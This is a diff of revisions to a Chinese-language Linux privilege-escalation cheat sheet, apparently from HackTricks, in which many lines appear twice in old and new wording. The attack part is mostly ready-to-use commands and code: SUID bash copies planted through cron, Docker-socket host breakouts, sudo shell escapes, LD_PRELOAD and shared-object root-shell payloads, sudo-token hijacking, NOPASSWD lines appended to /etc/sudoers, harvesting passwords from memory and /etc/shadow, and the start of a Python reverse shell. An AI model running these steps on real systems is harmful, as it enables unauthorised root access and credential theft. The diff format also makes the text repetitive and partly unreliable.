Linux特权提升 - Linux内核 <= 3.19.0-73.8
Linux 权限提升 - Linux 内核 <= 3.19.0-73.8
```bash
# make dirtycow stable
echo 0 > /proc/sys/vm/dirty_writeback_centisecs
@ -59,7 +59,7 @@ https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c
```
### Sudo 版本
基于出现的易受攻击的 sudo 版本:
基于出现的易受攻击的 sudo 版本:
```bash
searchsploit sudo
```
@ -131,7 +131,7 @@ docker-security/
## Drives
检查**已挂载和未挂载的内容**,以及它们的位置和原因。如果有任何未挂载的内容,你可以尝试挂载它并检查私人信息。
检查**哪些是挂载和未挂载的**,在哪里以及为什么。如果有任何未挂载的,你可以尝试挂载它并检查私人信息。
```bash
ls /dev 2>/dev/null | grep -i "sd"
cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null
@ -144,13 +144,13 @@ grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc
```bash
which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null
```
还要检查是否**安装了任何编译器**。如果您需要使用某内核漏洞,这很有用,因为建议在您将要使用它的机器上(或类似的机器上)进行编译。
还要检查是否**安装了任何编译器**。如果您需要使用某内核漏洞,这很有用,因为建议在您将要使用它的机器上(或类似的机器上)进行编译。
```bash
(dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/")
```
### 安装的易受攻击软件
检查**已安装软件包和服务的版本**。可能存在某些旧版的Nagios例如可以利用这些版本来提升权限…\
检查**已安装软件包和服务的版本**。可能存在某些旧版的Nagios例如可以利用来提升权限…\
建议手动检查更可疑的已安装软件的版本。
```bash
dpkg -l #Debian
@ -169,7 +169,7 @@ ps -ef
top -n 1
```
始终检查可能正在运行的 [**electron/cef/chromium debuggers**,您可以利用它来提升权限](electron-cef-chromium-debugger-abuse.md)。**Linpeas** 通过检查进程命令行中的 `--inspect` 参数来检测这些。\
还要**检查您对进程二进制文件的权限**,也许您可以覆盖某些内容
还要**检查您对进程二进制文件的权限**,也许您可以覆盖某个用户
### 进程监控
@ -230,14 +230,14 @@ rm $1*.bin
```
#### /dev/mem
`/dev/mem` 提供对系统 **物理** 内存的访问,而不是虚拟内存。内核的虚拟地址空间可以通过 /dev/kmem 访问。\
`/dev/mem` 提供对系统 **物理** 内存的访问,而不是虚拟内存。内核的虚拟地址空间可以使用 /dev/kmem 访问。\
通常,`/dev/mem` 仅对 **root****kmem** 组可读。
```
strings /dev/mem -n10 | grep -i PASS
```
### ProcDump for linux
ProcDump 是 Sysinternals 工具套件中经典 ProcDump 工具在 Linux 上的重新构想。获取它在 [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux)
ProcDump 是 Sysinternals 工具套件中经典 ProcDump 工具的 Linux 版本。获取地址在 [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux)
```
procdump -p 1714
@ -269,7 +269,7 @@ Press Ctrl-C to end monitoring without terminating the process.
要转储进程内存,您可以使用:
- [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux)
- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_您可以手动除root要求并转储由您拥有的进程
- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_您可以手动除root要求并转储由您拥有的进程
- 来自 [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) 的脚本 A.5 (需要root)
### 从进程内存中获取凭据
@ -290,14 +290,14 @@ strings *.dump | grep -i password
该工具 [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) 将 **从内存中窃取明文凭据** 和一些 **知名文件**。它需要 root 权限才能正常工作。
| 特性 | 进程名称 |
| ------------------------------------------------ | -------------------- |
| GDM 密码Kali 桌面Debian 桌面) | gdm-password |
| Gnome 密钥环Ubuntu 桌面ArchLinux 桌面) | gnome-keyring-daemon |
| LightDMUbuntu 桌面) | lightdm |
| VSFTPd活动 FTP 连接) | vsftpd |
| Apache2活动 HTTP 基本认证会话) | apache2 |
| OpenSSH活动 SSH 会话 - Sudo 使用) | sshd: |
| 特性 | 进程名称 |
| ---------------------------------------------- | ---------------- |
| GDM 密码Kali 桌面Debian 桌面) | gdm-password |
| Gnome 密钥环Ubuntu 桌面ArchLinux 桌面) | gnome-keyring-daemon |
| LightDMUbuntu 桌面) | lightdm |
| VSFTPd活动 FTP 连接) | vsftpd |
| Apache2活动 HTTP 基本认证会话) | apache2 |
| OpenSSH活动 SSH 会话 - Sudo 使用) | sshd: |
#### Search Regexes/[truffleproc](https://github.com/controlplaneio/truffleproc)
```bash
@ -325,10 +325,10 @@ cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/nul
例如,在 _/etc/crontab_ 中可以找到 PATH: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_
(_注意用户 "user" 对 /home/user 具有写权限_)
(_注意用户 "user" 对 /home/user 具有写权限_)
如果在这个 crontab 中root 用户尝试执行某个命令或脚本而没有设置路径。例如: _\* \* \* \* root overwrite.sh_\
然后,您可以通过使用以下方式获得 root shell:
然后,您可以通过使用
```bash
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
#Wait cron job to be executed
@ -405,7 +405,7 @@ ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello"
## **定时器**
**定时器** 是以 `**.timer**` 结尾的 systemd 单元文件,控制 `**.service**` 文件或事件。 **定时器** 可以作为 cron 的替代方案,因为它们内置支持日历时间事件和单调时间事件,并且可以异步运行。
**定时器** 是以 `**.timer**` 结尾的 systemd 单元文件,用于控制 `**.service**` 文件或事件。 **定时器** 可以作为 cron 的替代方案,因为它们内置支持日历时间事件和单调时间事件,并且可以异步运行。
您可以使用以下命令列出所有定时器:
```bash
@ -417,14 +417,14 @@ systemctl list-timers --all
```bash
Unit=backdoor.service
```
在文档中,您可以阅读到 Unit 的定义:
在文档中,您可以阅读单位的定义:
> 当此计时器到期时要激活的单元。参数是单元名称,其后缀不是 ".timer"。如果未指定,则此值默认为与计时器单元同名的服务,除了后缀外。(见上文。)建议激活的单元名称和计时器单元的名称在后缀之外是相同的。
> 当此计时器到期时要激活的单位。参数是单位名称,其后缀不是“.timer”。如果未指定则此值默认为与计时器单位同名的服务除了后缀外。见上文。建议激活的单位名称和计时器单位的名称在后缀之外是相同的。
因此,要滥用此权限,您需要:
- 找到某个 systemd 单元(如 `.service`),该单元正在 **执行一个可写的二进制文件**
- 找到某个 systemd 单元,该单元正在 **执行一个相对路径**,并且您对 **systemd PATH** 具有 **可写权限**(以伪装该可执行文件)
- 找到某个 systemd 单元,该单元正在 **执行一个相对路径**,并且您对 **systemd PATH** 具有 **可写权限**(以冒充该可执行文件)
**了解有关计时器的更多信息,请使用 `man systemd.timer`。**
@ -439,7 +439,7 @@ Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /li
## 套接字
Unix 域套接字 (UDS) 使得 **进程通信** 在同一台或不同机器之间的客户端-服务器模型中成为可能。它们利用标准的 Unix 描述符文件进行计算机间通信,并通过 `.socket` 文件进行设置。
Unix 域套接字 (UDS) 使得在客户端-服务器模型中同一台或不同机器上的 **进程通信** 成为可能。它们利用标准的 Unix 描述符文件进行计算机间通信,并通过 `.socket` 文件进行设置。
套接字可以使用 `.socket` 文件进行配置。
@ -448,13 +448,13 @@ Unix 域套接字 (UDS) 使得 **进程通信** 在同一台或不同机器之
- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: 这些选项不同,但总结用于 **指示它将监听的位置**AF_UNIX 套接字文件的路径,监听的 IPv4/6 和/或端口号等)
- `Accept`: 接受一个布尔参数。如果 **true**,则 **为每个传入连接生成一个服务实例**,并且仅将连接套接字传递给它。如果 **false**,则所有监听套接字本身都被 **传递给启动的服务单元**,并且仅为所有连接生成一个服务单元。对于数据报套接字和 FIFO此值被忽略因为单个服务单元无条件处理所有传入流量。**默认为 false**。出于性能原因,建议仅以适合 `Accept=no` 的方式编写新的守护进程。
- `ExecStartPre`, `ExecStartPost`: 接受一个或多个命令行,这些命令在监听 **套接字**/FIFO 被 **创建** 和绑定之前或之后 **执行**。命令行的第一个标记必须是绝对文件名,后面跟着进程的参数。
- `ExecStopPre`, `ExecStopPost`: 在监听 **套接字**/FIFO 被 **关闭** 和移除之前或之后 **执行**额外 **命令**
- `Service`: 指定 **在传入流量上激活** 服务单元名称。此设置仅允许用于 Accept=no 的套接字。默认为与套接字同名的服务(后缀被替换)。在大多数情况下,不需要使用此选项。
- `ExecStopPre`, `ExecStopPost`: 在监听 **套接字**/FIFO 被 **关闭** 和移除之前或之后 **执行**附加 **命令**
- `Service`: 指定 **在传入流量** **激活** **服务** 单元名称。此设置仅允许用于 Accept=no 的套接字。默认为与套接字同名的服务(后缀被替换)。在大多数情况下,不需要使用此选项。
### 可写的 .socket 文件
如果您发现一个 **可写** `.socket` 文件,您可以在 `[Socket]` 部分的开头添加类似 `ExecStartPre=/home/kali/sys/backdoor` 的内容,后门将在套接字创建之前执行。因此,您 **可能需要等到机器重启。**\
&#xNAN;_&#x4E;注意系统必须使用该套接字文件配置否则后门将不会被执行_
如果您发现一个 **可写** `.socket` 文件,您可以在 `[Socket]` 部分的开头添加类似 `ExecStartPre=/home/kali/sys/backdoor` 的内容,后门将在套接字创建之前执行。因此,您 **可能需要等到机器重启。**\
_请注意系统必须使用该套接字文件配置否则后门将不会被执行_
### 可写套接字
@ -489,11 +489,11 @@ curl --max-time 2 --unix-socket /pat/to/socket/files http:/index
### 可写的 Docker 套接字
Docker 套接字,通常位于 `/var/run/docker.sock`,是一个关键文件,应该被保护。默认情况下,它对 `root` 用户和 `docker` 组的成员是可写的。拥有对这个套接字的写访问权限可能导致特权提升。以下是如何做到这一点的详细说明,以及在 Docker CLI 不可用时的替代方法。
Docker 套接字,通常位于 `/var/run/docker.sock`,是一个关键文件,应该被保护。默认情况下,它对 `root` 用户和 `docker` 组的成员是可写的。拥有对这个套接字的写入权限可能导致权限提升。以下是如何做到这一点的分解,以及在 Docker CLI 不可用时的替代方法。
#### **使用 Docker CLI 进行特权提升**
#### **使用 Docker CLI 提升权限**
如果你对 Docker 套接字具有写访问权限,可以使用以下命令提升特权
如果你对 Docker 套接字具有写入权限,可以使用以下命令提升权限
```bash
docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash
docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh
@ -538,7 +538,7 @@ Upgrade: tcp
请注意,如果您对 Docker 套接字具有写权限,因为您**在 `docker` 组内**,您有[**更多的权限提升方式**](interesting-groups-linux-pe/index.html#docker-group)。如果[**docker API 在某个端口上监听**,您也可能能够妥协它](../../network-services-pentesting/2375-pentesting-docker.md#compromising)。
查看**更多从 Docker 中突破或滥用它以提升权限的方法**
查看**更多从 Docker 中突破或滥用它以提升权限的方法**
{{#ref}}
docker-security/
@ -566,7 +566,7 @@ D-Bus 是一个复杂的 **进程间通信 (IPC) 系统**,使应用程序能
该系统灵活多变,支持基本的 IPC增强了进程之间的数据交换类似于 **增强的 UNIX 域套接字**。此外它有助于广播事件或信号促进系统组件之间的无缝集成。例如来自蓝牙守护进程的关于来电的信号可以促使音乐播放器静音从而提升用户体验。此外D-Bus 支持远程对象系统,简化了应用程序之间的服务请求和方法调用,简化了传统上复杂的过程。
D-Bus 基于 **允许/拒绝模型**,根据匹配策略规则的累积效果管理消息权限(方法调用、信号发射等)。这些策略指定与总线的交互,可能通过利用这些权限来允许权限提升。
D-Bus 基于 **允许/拒绝模型**,根据匹配策略规则的累积效果管理消息权限(方法调用、信号发射等)。这些策略指定与总线的交互,可能通过利用这些权限来允许权限提升。
`/etc/dbus-1/system.d/wpa_supplicant.conf` 中提供了这样一个策略的示例,详细说明了根用户拥有、发送和接收来自 `fi.w1.wpa_supplicant1` 的消息的权限。
@ -579,7 +579,7 @@ D-Bus 基于 **允许/拒绝模型**,根据匹配的策略规则的累积效
<allow receive_sender="fi.w1.wpa_supplicant1" receive_type="signal"/>
</policy>
```
**了解如何枚举和利用 D-Bus 通信:**
**学习如何枚举和利用 D-Bus 通信:**
{{#ref}}
d-bus-enumeration-and-command-injection-privilege-escalation.md
@ -629,7 +629,7 @@ timeout 1 tcpdump
### 通用枚举
检查 **你是谁**,你拥有的 **权限**,系统中有哪些 **用户**,哪些可以 **登录**,哪些具有 **root 权限**
检查 **who** 你是,您拥有的 **privileges**,系统中有哪些 **users**,哪些可以 **login**,哪些具有 **root privileges**
```bash
#Info about me
id || (whoami && groups) 2>/dev/null
@ -683,11 +683,11 @@ grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/logi
```
### 已知密码
如果您**知道环境中的任何密码**,请尝试使用该密码**登录每个用户**。
如果您**知道环境中的任何密码**,请**尝试使用该密码登录每个用户**。
### Su Brute
如果您不介意制造大量噪音,并且计算机上存在`su``timeout`二进制文件,您可以尝试使用[su-bruteforce](https://github.com/carlospolop/su-bruteforce)进行暴力破解用户。\
如果您不介意制造很多噪音,并且计算机上存在`su``timeout`二进制文件,您可以尝试使用[su-bruteforce](https://github.com/carlospolop/su-bruteforce)进行暴力破解用户。\
[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)使用`-a`参数也会尝试暴力破解用户。
## 可写的 PATH 滥用
@ -720,13 +720,13 @@ $ sudo -l
User demo may run the following commands on crashlab:
(root) NOPASSWD: /usr/bin/vim
```
在这个例子中,用户 `demo` 可以以 `root` 身份运行 `vim`,现在通过将 ssh 密钥添加到根目录或调用 `sh` 来获取 shell 变得非常简单。
在这个例子中,用户 `demo` 可以以 `root` 身份运行 `vim`,现在通过将 ssh 密钥添加到根目录或调用 `sh` 来获取 shell 变得简单。
```
sudo vim -c '!sh'
```
### SETENV
此指令允许用户在执行某操作时**设置环境变量**
此指令允许用户在执行某操作时**设置环境变量**
```bash
$ sudo -l
User waldo may run the following commands on admirer:
@ -738,7 +738,7 @@ sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh
```
### Sudo 执行绕过路径
**跳转** 以读取其他文件或使用 **符号链接**。例如在 sudoers 文件中 _hacker10 ALL= (root) /bin/less /var/log/\*_
**跳转** 以读取其他文件或使用 **符号链接**。例如在 sudoers 文件中: _hacker10 ALL= (root) /bin/less /var/log/\*_
```bash
sudo less /var/logs/anything
less>:e /etc/shadow #Jump to read other files using privileged less
@ -763,11 +763,11 @@ export PATH=/tmp:$PATH
#Put your backdoor in /tmp and name it "less"
sudo less
```
这种技术也可以在**suid**二进制文件**执行另一个命令而不指定路径时使用(始终检查**_**strings**_ **内容的奇怪SUID二进制文件**。
这种技术也可以在**suid**二进制文件**执行另一个命令而不指定路径时使用(始终检查**_**strings**_ **工具查看奇怪的 SUID 二进制文件的内容**。
[Payload examples to execute.](payloads-to-execute.md)
### 带命令路径的SUID二进制文件
### 带命令路径的 SUID 二进制文件
如果**suid**二进制文件**执行另一个命令并指定路径**,那么你可以尝试**导出一个函数**其名称与suid文件调用的命令相同。
@ -776,7 +776,7 @@ sudo less
function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }
export -f /usr/sbin/service
```
然后当你调用suid二进制文件时这个函数执行
然后当你调用suid二进制文件时将执行此函数
### LD_PRELOAD & **LD_LIBRARY_PATH**
@ -787,7 +787,7 @@ export -f /usr/sbin/service
- 对于真实用户ID_ruid_与有效用户ID_euid_不匹配的可执行文件加载器会忽略**LD_PRELOAD**。
- 对于具有suid/sgid的可执行文件仅在标准路径中且也具有suid/sgid的库会被预加载。
如果你有能力使用`sudo`执行命令,并且`sudo -l`的输出包含语句**env_keep+=LD_PRELOAD**,则可能发生权限提升。此配置允许**LD_PRELOAD**环境变量持续存在并被识别,即使在使用`sudo`运行命令时,这可能导致以提升的权限执行任意代码。
如果你有能力使用`sudo`执行命令,并且`sudo -l`的输出包含语句**env_keep+=LD_PRELOAD**,则可能发生权限提升。此配置允许**LD_PRELOAD**环境变量在使用`sudo`运行命令时保持并被识别,这可能导致以提升的权限执行任意代码。
```
Defaults env_keep += LD_PRELOAD
```
@ -836,7 +836,7 @@ sudo LD_LIBRARY_PATH=/tmp <COMMAND>
```
### SUID 二进制文件 .so 注入
当遇到一个具有 **SUID** 权限的二进制文件且看起来不寻常时,验证它是否正确加载 **.so** 文件是一个好习惯。可以通过运行以下命令来检查:
当遇到一个具有 **SUID** 权限且看起来不寻常的二进制文件时,验证它是否正确加载 **.so** 文件是一个好习惯。可以通过运行以下命令来检查:
```bash
strace <SUID-BINARY> 2>&1 | grep -i -E "open|access|no such file"
```
@ -853,7 +853,7 @@ void inject(){
system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
}
```
此代码在编译和执行后,旨在通过操纵文件权限并执行具有提升权限的 shell 来提升权限
此代码在编译和执行后,旨在通过操纵文件权限并以提升的权限执行 shell 来提升特权
使用以下命令将上述 C 文件编译为共享对象 (.so) 文件:
```bash
@ -892,9 +892,9 @@ system("/bin/bash -p");
### GTFOBins
[**GTFOBins**](https://gtfobins.github.io) 是一个经过整理的 Unix 二进制文件列表,攻击者可以利用这些文件绕过本地安全限制。[**GTFOArgs**](https://gtfoargs.github.io/) 是相同的,但适用于您只能在命令中 **注入参数** 的情况
[**GTFOBins**](https://gtfobins.github.io) 是一个经过整理的 Unix 二进制文件列表,攻击者可以利用这些文件绕过本地安全限制。[**GTFOArgs**](https://gtfoargs.github.io/) 则是针对只能 **注入参数** 的命令的相同列表
该项目收集了可以被滥用以突破受限 shell、提升或维持特权、传输文件、生成绑定和反向 shell以及促进其他后期利用任务的 Unix 二进制文件的合法功能
该项目收集了可以被滥用的 Unix 二进制文件的合法功能,以打破受限的 shell提升或维持提升的权限传输文件生成绑定和反向 shell并促进其他后期利用任务
> gdb -nx -ex '!sh' -ex quit\
> sudo mysql -e '! /bin/sh'\
@ -915,18 +915,18 @@ https://gtfoargs.github.io/
### 重用 Sudo 令牌
在您拥有 **sudo 访问权限** 但没有密码的情况下,您可以通过 **等待 sudo 命令执行然后劫持会话令牌** 来提升权。
在您拥有 **sudo 访问权限** 但没有密码的情况下,您可以通过 **等待 sudo 命令执行然后劫持会话令牌** 来提升权
提升权的要求:
提升权的要求:
- 您已经以用户 "_sampleuser_" 拥有一个 shell
- "_sampleuser_" 在 **过去 15 分钟内** **使用过 `sudo`** 执行了某些操作(默认情况下,这是允许我们在不输入任何密码的情况下使用 `sudo` 的 sudo 令牌的持续时间)
- `cat /proc/sys/kernel/yama/ptrace_scope` 的值为 0
- `cat /proc/sys/kernel/yama/ptrace_scope` 为 0
- `gdb` 可访问(您可以上传它)
(您可以通过 `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` 临时启用 `ptrace_scope`,或通过永久修改 `/etc/sysctl.d/10-ptrace.conf` 并设置 `kernel.yama.ptrace_scope = 0` 来实现)
如果满足所有这些要求,**您可以使用以下方法提升权:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject)
如果满足所有这些要求,**您可以使用以下方法提升权** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject)
- **第一个利用** (`exploit.sh`) 将在 _/tmp_ 中创建二进制文件 `activate_sudo_token`。您可以使用它来 **在您的会话中激活 sudo 令牌**(您不会自动获得 root shell请执行 `sudo su`
```bash
@ -946,8 +946,8 @@ sudo su
```
### /var/run/sudo/ts/\<Username>
如果您在该文件夹或文件夹内创建的任何文件中具有**写权限**,则可以使用二进制文件[**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools)为用户和PID**创建sudo令牌**。\
例如如果您可以覆盖文件_/var/run/sudo/ts/sampleuser_并且您以该用户的身份拥有PID 1234的shell则可以**获得sudo权限**而无需知道密码,方法是:
如果您在该文件夹或文件夹内创建的任何文件中具有**写权限**,则可以使用二进制文件 [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) 来**为用户和PID创建sudo令牌**。\
例如,如果您可以覆盖文件 _/var/run/sudo/ts/sampleuser_并且您以该用户的身份拥有PID 1234的shell则可以**获得sudo权限**而无需知道密码,方法是:
```bash
./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser
```
@ -959,7 +959,7 @@ sudo su
ls -l /etc/sudoers /etc/sudoers.d/
ls -ld /etc/sudoers.d/
```
如果你会写东西,你就可以滥用这个权限。
如果你会写,你就可以滥用这个权限。
```bash
echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers
echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README
@ -1004,9 +1004,9 @@ sudo ls
文件 `/etc/ld.so.conf` 指示 **加载的配置文件来自哪里**。通常,这个文件包含以下路径:`include /etc/ld.so.conf.d/*.conf`
这意味着将读取来自 `/etc/ld.so.conf.d/*.conf` 的配置文件。这些配置文件 **指向其他文件夹**,在这些文件夹中将 **搜索** **库**。例如,`/etc/ld.so.conf.d/libc.conf` 的内容是 `/usr/local/lib` **这意味着系统将在 `/usr/local/lib` 内搜索库**
这意味着将读取来自 `/etc/ld.so.conf.d/*.conf` 的配置文件。这些配置文件 **指向其他文件夹**,在这些文件夹中将 **搜索** **库**。例如,`/etc/ld.so.conf.d/libc.conf` 的内容是 `/usr/local/lib`。**这意味着系统将在 `/usr/local/lib` 内搜索库**。
如果于某种原因 **用户对任何指示的路径具有写权限**`/etc/ld.so.conf``/etc/ld.so.conf.d/``/etc/ld.so.conf.d/` 中的任何文件或 `/etc/ld.so.conf.d/*.conf` 中的配置文件内的任何文件夹,他可能能够提升权限。\
如果于某种原因 **用户对任何指示的路径具有写权限**`/etc/ld.so.conf``/etc/ld.so.conf.d/``/etc/ld.so.conf.d/` 内的任何文件或 `/etc/ld.so.conf.d/*.conf` 内的配置文件中的任何文件夹,他可能能够提升权限。\
请查看 **如何利用此错误配置** 在以下页面:
{{#ref}}
@ -1062,7 +1062,7 @@ linux-capabilities.md
## ACLs
访问控制列表ACLs代表了可自由裁量权限的第二层,能够**覆盖传统的ugo/rwx权限**。这些权限通过允许或拒绝特定用户(非所有者或组成员)访问文件或目录,从而增强了对访问的控制。这种**粒度确保了更精确的访问管理**。更多细节可以在[**这里**](https://linuxconfig.org/how-to-manage-acls-on-linux)找到。
访问控制列表ACLs代表了可选择权限的第二层,能够**覆盖传统的ugo/rwx权限**。这些权限通过允许或拒绝特定用户(非所有者或组成员)访问文件或目录,从而增强了对访问的控制。这种**粒度确保了更精确的访问管理**。更多细节可以在[**这里**](https://linuxconfig.org/how-to-manage-acls-on-linux)找到。
**给予**用户“kali”对文件的读取和写入权限
```bash
@ -1077,8 +1077,8 @@ getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null
```
## 打开 shell 会话
**旧版本**中,您可能会 **劫持**其他用户(**root**的一些 **shell** 会话。\
**最新版本**中,您将只能 **连接**到 **您自己用户**的屏幕会话。然而,您可能会在会话中找到 **有趣的信息**。
**旧版本** 中,您可能会 **劫持** 其他用户 (**root**) 的一些 **shell** 会话。\
**最新版本** 中,您将只能 **连接** **您自己用户** 的屏幕会话。然而,您可能会在会话中找到 **有趣的信息**。
### 屏幕会话劫持
@ -1151,7 +1151,7 @@ AuthorizedKeysFile .ssh/authorized_keys access
### ForwardAgent/AllowAgentForwarding
SSH代理转发允许您**使用本地SSH密钥而不是将密钥**(没有密码短语!)放在服务器上。因此,您将能够**通过ssh跳转到一个主机**,然后从那里**跳转到另一个**主机**使用**位于您**初始主机**中的**密钥**。
SSH代理转发允许您**使用本地SSH密钥而不是将密钥**(没有密码短语!)放在服务器上。因此,您将能够**通过ssh跳转到一个主机**,然后从那里**跳转到另一个**主机**使用**位于您**初始主机**中的**密钥**。
您需要在`$HOME/.ssh.config`中设置此选项,如下所示:
```
@ -1161,7 +1161,7 @@ ForwardAgent yes
注意,如果 `Host``*`,每次用户跳转到不同的机器时,该主机将能够访问密钥(这是一种安全问题)。
文件 `/etc/ssh_config` 可以 **覆盖** 这些 **选项** 并允许或拒绝此配置。\
文件 `/etc/sshd_config` 可以使用关键字 `AllowAgentForwarding` **允许****拒绝** ssh-agent 转发(默认是允许)。
文件 `/etc/sshd_config` 可以通过关键字 `AllowAgentForwarding` **允许****拒绝** ssh-agent 转发(默认是允许)。
如果您发现转发代理在某个环境中被配置,请阅读以下页面,因为 **您可能能够利用它来提升权限**
@ -1231,7 +1231,7 @@ Group=root
### 检查文件夹
以下文件夹可能包含备份或有趣的信息:**/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root**(可能无法读取最后一个,但可以尝试)
以下文件夹可能包含备份或有趣的信息:**/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root**可能无法读取最后一个,但可以尝试)
```bash
ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root
```
@ -1268,12 +1268,12 @@ find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -nam
```bash
find / -type f -iname ".*" -ls 2>/dev/null
```
### **在 PATH 中的脚本/二进制文件**
### **脚本/二进制文件在 PATH 中**
```bash
for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done
for d in `echo $PATH | tr ":" "\n"`; do find $d -type f -executable 2>/dev/null; done
```
### **网文件**
### **网文件**
```bash
ls -alhR /var/www/ 2>/dev/null
ls -alhR /srv/www/htdocs/ 2>/dev/null
@ -1291,13 +1291,13 @@ find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/gam
### 日志
如果您可以读取日志,您可能会在其中找到**有趣/机密的信息**。日志越奇怪,它就越有趣(可能)。\
如果您可以读取日志,您可能会在其中找到**有趣/机密的信息**。日志越奇怪,可能就越有趣。\
此外,一些“**错误**”配置(后门?)的**审计日志**可能允许您**在审计日志中记录密码**,正如在这篇文章中所解释的:[https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/)。
```bash
aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g"
grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null
```
为了**读取日志,组** [**adm**](interesting-groups-linux-pe/index.html#adm-group) 将非常有帮助
为了**读取日志,组** [**adm**](interesting-groups-linux-pe/index.html#adm-group) 将非常有
### Shell 文件
```bash
@ -1346,7 +1346,7 @@ import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s
网络脚本,例如 _ifcg-eth0_ 用于网络连接。它们看起来与 .INI 文件完全相同。然而,它们在 Linux 上由网络管理器dispatcher.d进行 \~sourced\~。
在我的案例中,这些网络脚本中的 `NAME=` 属性处理不当。如果您在名称中有 **空**,系统会尝试执行空格后的部分。这意味着 **第一个空格后的所有内容都以 root 身份执行**。
在我的案例中,这些网络脚本中的 `NAME=` 属性处理不当。如果您在名称中有 **空白/空格,系统会尝试执行空白/空格后的部分**。这意味着 **第一个空格后的所有内容都以 root 身份执行**。
例如: _/etc/sysconfig/network-scripts/ifcfg-1337_
```bash
@ -1360,7 +1360,7 @@ DEVICE=eth0
另一方面,`/etc/init`**Upstart** 相关,这是由 Ubuntu 引入的较新的 **服务管理**,使用配置文件进行服务管理任务。尽管已经过渡到 Upstart但由于 Upstart 中的兼容性层SysVinit 脚本仍与 Upstart 配置一起使用。
**systemd** 作为现代初始化和服务管理器出现,提供了高级功能,如按需守护进程启动、自动挂载管理和系统状态快照。它将文件组织到 `/usr/lib/systemd/` 用于分发包和 `/etc/systemd/system/` 用于管理员修改,从而简化了系统管理过程。
**systemd** 作为现代初始化和服务管理器出现,提供了高级功能,如按需守护进程启动、自动挂载管理和系统状态快照。它将文件组织到 `/usr/lib/systemd/` 以供分发包使用,并将 `/etc/systemd/system/` 用于管理员修改,从而简化了系统管理过程。
## 其他技巧
@ -1408,14 +1408,14 @@ cisco-vmanage.md
## 参考文献
- [https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/)\\
- [https://payatu.com/guide-linux-privilege-escalation/](https://payatu.com/guide-linux-privilege-escalation/)\\
- [https://pen-testing.sans.org/resources/papers/gcih/attack-defend-linux-privilege-escalation-techniques-2016-152744](https://pen-testing.sans.org/resources/papers/gcih/attack-defend-linux-privilege-escalation-techniques-2016-152744)\\
- [http://0x90909090.blogspot.com/2015/07/no-one-expect-command-execution.html](http://0x90909090.blogspot.com/2015/07/no-one-expect-command-execution.html)\\
- [https://touhidshaikh.com/blog/?p=827](https://touhidshaikh.com/blog/?p=827)\\
